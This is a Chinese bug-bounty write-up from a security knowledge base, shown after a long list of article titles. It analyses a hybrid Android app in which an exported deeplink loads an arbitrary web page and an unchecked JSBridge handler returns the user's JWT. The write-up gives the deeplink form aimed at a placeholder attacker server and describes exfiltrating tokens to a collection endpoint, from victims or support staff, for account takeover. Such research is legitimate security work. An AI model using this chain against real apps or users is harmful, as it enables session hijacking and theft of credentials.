SRC挖掘
业务支付逻辑安全案例
某度ID值爆破任意登录
社交应用越权泄露漏洞
某迅相册APP绕过XSS
某度利用上传触发XSS
泄露验证造成签约越权
小程序放包绕过人脸识别
业务逻辑绕过人脸识别
竞争并发拿下挑战赛
某B未绑定导致任意注册
时间校验机制领取VIP
某视频不安全对象引用
无回显SSRF修改利用
社交应用放包越权测回
理财支付漏洞四舍五入
某迅API分享导致重定向
吃货去改包提权超管
某云厂商社区SSRF挖掘
代金卷导致的支付错误
某鹅邮箱附件上传XSS
导出功能导致任意修改
某商城补领优惠券并发
限制购买多次创建绕过
钓鱼供应链挖掘利用
老SQL注入换思路就行
EDUSRC玩通用逻辑
企业功能从限制入手
从逆向角度玩APP测试
CNVD通用漏洞证书思路
地图Key泄露绕过利用
绕过CDN获取2高2中
首单VIP签约叠加使用
简单的JS分析未授权
冷门CORS配置出错挖掘
登录框到通用漏洞挖掘
统一系统认证挖掘点
前端校验错误直接捡洞
前端检验导致信息泄露
众测SRC测试姿势总结
细微数据包找越权撤回
AI代码审计实现自动出货
小程序资产测文件上传
爆破支付密码绕过限制
APP绕过时间过期限制
某APP逆向渗透测试总
EDU证书985泄露越权
小程序让地址校验失效
短信验证码缺陷到弱口令
JS逆向签名链到任意登录
AI拿下第一个SRC漏洞
某EDU通用系统渗透测试
盘点主流大厂SRC规则
AI自动搞定小程序审计
2026浏览器安全插件
AI+小程序任意登录漏洞
众测一路追到供应链
AI渗透实战赋能记录
AI帮我挖到的第一个高危
某医院系统渗透测试
以为是文件上传结果是XSS
小程序接口泄漏接管
汇总越权重放APP挖掘
实战豆包EDU测试好帮手
业务系统漏洞验证记录
面向SRC的Agent知识体系
记一次src上某APP的测试
多个EDU&企业SRC分享
由未授权访问敏感泄露
Github收集到挖掘提交
越权访问导致数据泄露
登录页突破到后台功能
一次AI提示词注入实战
EDU某xx大学未授权访问
Yakit与Claude全链路渗透
某校园方案通用漏洞挖掘
信息收集到通用getshell
没有AI很难挖到的案例
注册审核绕过泄露组合漏洞
SRC漏洞报告提交稿Skill
开局从登录到未授权注入
红队Agent自主挖洞过程
弱口令从用户级别跳跃
弱口令到JS接口扩大战果
某省护网一次特殊的SQL注入
SRC资产测绘监控链
越权管理到信息泄露
弱口令到JS扩大成果
登录页面到未授权SQL注入
EduSRC漏洞猎洞工具
SRC业务威胁情报挖掘
CNVD未授权漏洞广扫
App接口接管调用挖掘
威胁情报资源挖掘指南
小迪安全知识库
-
+
首页
App接口接管调用挖掘
App接口接管调用挖掘
**0x01 简介** 混合 App 暗藏高危长链漏洞!在授权安全测试中,通过反编译审计发现目标 App 导出代理 Activity 存在 Deeplink 参数校验缺陷,可绕过路由拦截加载外部恶意 H5 页面。其 JSBridge 敏感能力全局注册,完全不校验网页来源,恶意页面能够直接调用原生接口读取本地持久 JWT 凭证。如今主流类App几乎无一例外采用原生+H5的混合开发架构,原生壳负责性能与推送,业务页面大量使用WebView技术来显示与承载。攻击者拿到 Token 即可冒充受害者执行业务操作,完成会话级账号接管。 > 本文内容仅用于网络安全技术学习与交流,所有操作均在授权测试环境下完成。严禁将文中技术用于未授权检测与非法攻击,违者责任自负。 ****0x02 正文详情**** > 如今就算代码功底一般,也可以借助 JADX 搭配 MCP 插件辅助完成代码审计分析。目标为混合架构 Android App。该应用存在 Deeplink 路由与 WebView JSBridge 组合漏洞,导出的代理 Activity 无严格参数校验,可加载外部恶意 H5 页面。 jadx-mcp-server ``` 链接:https://pan.quark.cn/s/1afc9de1149e ``` App安装与查壳 首先下载app,注册账号登录并访问。  登录app后可查看该app私有数据目录,可以发现FlutterSharedPreferences.xml文件存储用户的凭证信息,还有手机号,账号个人数据信息等,这里数据太多,只放了JWTtoken的截图信息。  既然存在token信息,这里其实可以去第一步想到的就是去分析下apk文件,看看有没有文件备份类漏洞,或者开启了debug调试类漏洞等等。 提取 APK命令如下: ``` adb shell pm path com.cdxxxxx.chxxxx ```  ``` adb pull <pm path输出的apk路径> ./base.apk ``` 首先apk查壳,可以发现没有进行加固处理  AndroidManifest分析 使用jadx反编译apk,注意这里如果遇到关键反编译代码文件无法反编译成功因为jadx-GUI默认开启的是“严格模式”,遇到反编译失败可以菜单 File → Preferences->Decompilation(反编译)选项卡->勾选Show inconsistent code点击save即可   第一步查看AndroidManifest.xml文件,通过查壳发现 android:allowBackup="false",说明该apk不允许导出,但是很多组件是设置的允许导出,但是组件不是这篇文章的重点,而且该组件导出的页面也不是修改密码,修改个人信息等敏感页面,所以相对危害性较低。  再查询debuggable是否存在,如果不存在说明默认关闭调试功能,与allowBackup字段刚好相反,如果AndroidManifest.xml文件中没有声明allowBackup则说明允许导出备份文件。  不过在这其中发现明文传输配置启用 ``` <applicationandroid:usesCleartextTraffic="true" ...> ```  同时导出组件里有一组scheme入口,其中最引人注意的是如下配置: ``` <activity android:name="com.xxxx.android.lib_architecture.splash.ProxyActivity" android:exported="true"> ``` 一个exported的代理Activity+自定义scheme,这通常就是外部网页/短信/二维码可触发的路由入口  WebView与JSBridge静态分析 首先通过上述AndroidManifest文件分析,可以发现存在scheme的组件包是com.xxxx.android,在这包中我们发现WebActivity容器,这个com.xxxx.android.comp\_webview.WebActivity是一个H5容器 ``` @Route(path = "/web/Default") ```  其中存在C0函数,这段函数用于过滤URL中APP自定义的内部交互参数,避免这些内部参数被带到外部链接、或泄露到第三方服务器,保证外部链接加载的纯净性。  第901行,Operators.CONDITION\_IF为自定义常量“?”,以?拆分传入的路径 然后遍历所有查询参数,过滤内部参数 ``` ArrayList arrayList = new ArrayList(); ``` 最后拼接处理好的参数 ``` // 把保留的参数用&拼接成新的查询字符串 ``` C0这段函数是没有任何域名校验的,直接return  综上初步简单分析,`/web/Default` 路由可以加载任意外部 URL地址的。 再看它的WebActivity类中的shouldOverrideUrlLoading公共方法  主要看532行代码、539行代码,检测用户提交的协议,如果是yy://桥协议,那么就交给父类处理。 如果不是HTTP\_PROTOCOL、HTTP\_PROTOCOL协议就一律全部拦截,反之则走到return Boolean.valueOf(z10);直接放行。其中HTTP\_PROTOCOL、HTTP\_PROTOCOL都是自定以的常量,分别为http://、https://  ``` if (s.G(str, "yy://", false, 2, null)) { ``` WebView的实现类是 `com.android.xxxx.webview_java.jsbridge.BridgeWebView`,该类中做了一定的安全检测,其中318行代码关闭了密码自动保存,防止WebView存储的网站密码被恶意读取,并且关闭了file域的跨域读  真正的问题在注入时机,BridgeWebView.this.f6265b为WebViewJavascriptBridge.js文件,该文件存储在assest目录下 ``` public void onPageFinished(WebView webView, String str) throws Throwable { ```   其中377行代码i5.b.e()函数把WebViewJavascriptBridge.js文件全部进行加载  JSBridge 通信协议拆解 assets里的`WebViewJavascriptBridge.js` 是URL Scheme桥,分析一下具体运行逻辑 JS 想调原生能力时,构造一个message对象;如果还需要回包(responseCallback),就生成一个唯一`callbackId` 并登记到`responseCallbacks` 字典里——相当于"留个回执地址"message 推进sendMessageQueue队列,然后设置一个隐藏iframe的src= 'yy://QUEUE\_MESSAGE'设置iframe的URL会触发 WebView 的`shouldOverrideUrlLoading` (shouldOverrideUrlLoading方法前面有讲,当检测用户提交的协议,如果是yy://桥协议,那么就交给父类处理)回调,Native 端拦截到 `yy://` 开头的scheme,就知道"队列里有消息了" ``` function _doSend(message, responseCallback) { ``` Native截获yy://QUEUE\_MESSAGE后,调用p(),通过 loadUrl("javascript:...\_fetchQueue()") 让JS把队列内容吐出来  q()截获yy://return/\_fetchQueue/... 后,从URL里取出key"\_fetchQueue",先去Map里查有没有对应登记的回调,有继续取 JSON、调 `bVar.a()` 分发——查handler注册表、执行原生逻辑、回包给JS。 ``` public final void q(String str) { ``` 整段代码分析重点为App启动时HogeWebViewInitializer.create()函数把40多个敏感handler(getUserInfo、getRequestHeader、......)一次性塞进全局 Map(h5.c.b().a()函数里面)  而WebView收到消息后分发时按message里的`handlerName`去全局Map查 → 查到就执行 → 完全不关心当前WebView里加载的是哪个网页、哪个域名。如下图,183-184行:  顺着前面HogeWebViewInitializer.create()函数中的敏感handler 顺着`getUserInfo`找到公共方法类`wb.a0`,调用t0函数获取FlutterSharedPreferences.xml文件信息,然后取出文件中取出Member-User-Authorization、userTokenKey认证信息  上图中2848行调用的gd.a.f15853a正式如下图的,其中FlutterSharedPreferences正是开头的FlutterSharedPreferences.xml文件 ``` return BaseApplication.INSTANCE.a().getSharedPreferences("FlutterSharedPreferences", 0); ```  通过上述分析,静态链闭环:任意页面 → callHandler('getUserInfo') → 全局注册表 → s0() → Token进响应回调。 Deeplink 路由链分析 `com.hoge.android.lib_architecture.splash.ProxyActivity` 是exported的scheme入口,其参数处理逻辑 攻击者构造链接sjqxx://hmas.app/xxx?link=,截取link=后面传入的URL,`URL`参数没有任何格式校验,URLDecoder后原样进入路由系统。 ``` public final void s0(Intent intent) throws UnsupportedEncodingException { ```  路由会经过拦截器链,这里踩了本次分析的第一个坑。最初我构造的link值是内部路由格式`hmas://web/Default?url=...`,deeplink 发出后ProxyActivity确实拉起了但WebActivity始终没动静。追进拦截器才发现原因——`nb.a`(DefaultRouteInterceptor)开头就是hmas://外部直达被拒  当不是hmas://时,使用http/https 时是另一个拦截器 `nb.g`进行处理,以http://或 https://开头的URL直接走分支流程进行跳转,没有任何白名单黑名单限制,d()只处理带专用链接,普通URL直接false,也就是说,把link的值直接写成http/https明文URL,就能一路穿过 ProxyActivity → 拦截器 → `/web/Default` → WebActivity。   最终 deeplink 形态sjqx x://hmas.app/message?link=http%3A%2F%2F<攻击服务器>%2Fpoc.html 一些代码踩坑绕过 桥明明在,回调却永远不来 WebActivity成功加载了攻击页,页面日志打出`bridge already there`——桥对象存在,`callAll()`已执行,无任何JS异常。但收集服务器上只有页面请求,没有任何`/collect`回传  不调用init(),回包被永久吞掉 重读桥JS,发现`_handleMessageFromNative`的receiveMessageQueue初始为 \[\],恒为真,只有\_dispatchMessageFromNative这里才会触发回调  漏洞复现 根据上述,分析撰写一个html恶意获取token脚本,运行在云服务器上。  这里如果是为了本地确认漏洞可以直接使用adb调用链接,如果真实攻击可以直接发链接以app发给用户或者是生成链接,用户使用app二维码扫码。  而且聊天框还存在html渲染,xss倒是有一定过滤,但是链接是能够渲染的,可直接发送恶意链接获取客服的token信息。  如下图,这里使用个人测试账号进行测试,直接加载服务器上运行的脚本,回显token信息  log日志文件也成功接收到用户的token信息  ## ****0x03 总结 **** 这次挖洞算是踩坑踩出经验了,本以为找到入口就能一气呵成复现,结果卡在 JSBridge 回调问题折腾许久。别看这条利用链看着复杂,代码基础一般的师傅借助 JADX+MCP 插件,也能顺藤摸瓜完成审计。简单来说就是 Deeplink 开门,恶意 H5 搭桥,JSBridge 没做来源校验,直接交出用户登录凭证。拿到 Token 就能接管会话,混合 App 的 H5 与原生通信这块,稍不留神就容易埋下这种高危大坑!🔥喜欢这类文章或挖掘SRC技巧文章师傅可以点赞转发支持一下谢谢!
xiaodi
2026年10月2日 10:19
5
0 条评论
转发
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
分享
链接
类型
密码
更新密码
有效期
Markdown文件
Word文件
PDF文档
PDF文档(打印)